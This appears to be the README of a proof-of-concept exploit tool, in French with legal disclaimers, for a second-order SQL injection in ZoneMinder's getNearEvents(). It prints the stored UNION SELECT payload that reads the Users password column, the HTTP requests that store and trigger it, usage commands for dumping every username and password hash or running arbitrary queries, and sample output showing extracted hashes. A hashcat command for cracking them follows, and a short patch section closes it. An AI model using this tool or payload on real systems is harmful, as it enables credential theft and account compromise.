
Preuve de concept d'exploitation pour une injection SQL de second ordre dans ZoneMinder (CVE-2026-27470). Démontre l'extraction authentifiée de données, y compris les identifiants utilisateur, avec des options pour des requêtes personnalisées et le dump de hachages.
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
Cet outil est fourni strictement à des fins éducatives et de recherche en sécurité autorisée. L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite est illégal. L'accès non autorisé peut violer des lois telles que la CFAA (États-Unis), le Computer Misuse Act (Royaume-Uni) et la législation équivalente dans le monde entier. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
Preuve de concept d'exploitation d'une vulnérabilité d'injection SQL de second ordre dans ZoneMinder. Un utilisateur authentifié disposant des permissions de modification et de consultation des peut extraire des données arbitraires de la base de données — y compris toutes les informations d'identification des utilisateurs.
Events| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-27470 |
| Sévérité | ÉLEVÉE — CVSS 8.8 |
| Vecteur | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versions affectées | ZoneMinder ≤ 1.36.37 et 1.37.61 – 1.38.0 |
| Corrigé dans | 1.36.38 / 1.38.1 |
| Fichier | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89 : Neutralisation inappropriée des commandes SQL |
| Authentification requise | Oui — permission de modification + consultation des Events |
Il s'agit d'une injection SQL de second ordre (stockée) classique. L'attaque se déroule en deux phases distinctes, ce qui explique pourquoi les scanners traditionnels la manquent souvent.
Phase 1 — Écriture sûre
L'attaquant renomme un événement avec une charge utile malveillante. ZoneMinder utilise correctement une requête paramétrée ici, donc la charge utile est stockée en toute sécurité dans la base de données sans déclencher d'erreur :
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — sûr ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
À ce stade, tout semble propre. La charge utile repose tranquillement dans la colonne Events.Name.
Phase 2 — Lecture vulnérable
L'attaquant déclenche getNearEvents() en demandant les événements proches pour le même enregistrement d'événement. La fonction relit la valeur Name stockée depuis la base de données et la concatène directement dans une nouvelle requête SQL sans aucun échappement :
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~ligne 460 — VULNÉRABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← point d'injection
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
La charge utile stockée sort du contexte de chaîne et le UNION SELECT injecté s'exécute, divulguant des données dans le champ NextEventId de la réponse JSON :
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
Le développeur a commis une erreur très courante : il a correctement assaini les entrées utilisateur au moment de l'écriture, créant un faux sentiment de sécurité. L'hypothèse selon laquelle « les données de notre propre base de données sont sûres » a permis à la vulnérabilité d'exister dans le chemin de lecture pendant des années. Les WAF et la plupart des scanners automatisés ne détecteront pas cela car la requête d'écriture semble parfaitement propre.
pip install requests
-t, --target URL cible (ex. http://10.10.10.10:8080)
-u, --username Nom d'utilisateur ZoneMinder
-p, --password Mot de passe ZoneMinder
--event-id Identifiant d'événement à utiliser comme vecteur d'injection
--query Requête SQL personnalisée à exécuter
--dump-users Extraire tous les noms d'utilisateur et les hachages de mots de passe
--field Champ d'injection : Name (par défaut) ou Cause
--no-restore Ne pas restaurer le nom de l'événement après l'exploitation
# Vérifier la version de la base de données (test le plus simple)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Extraire tous les utilisateurs et hachages de mots de passe
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Injecter via le champ Cause au lieu de Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Requête personnalisée
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attaquant ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (paramétrée — sûre) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ construit la chaîne SQL : │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (aucun échappement !) │
│ │ UNION SELECT s'exécute ───► │
│ │◄── informations d'identification ──│
│◄── JSON avec données divulguées ──│ │
# Cracker les hachages récupérés avec hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name est de type varchar(64) dans la base de données — gardez les charges utiles d'injection sous 63 caractèresnearevents.NextEventId dans la réponse JSONMettez à jour ZoneMinder vers la version 1.36.38 ou 1.38.1.
Le correctif consiste à utiliser un paramètre de requête préparée pour la valeur stockée au lieu d'une concaténation de chaînes :
// Avant (vulnérable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Après (corrigé)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Cet outil est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée.
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.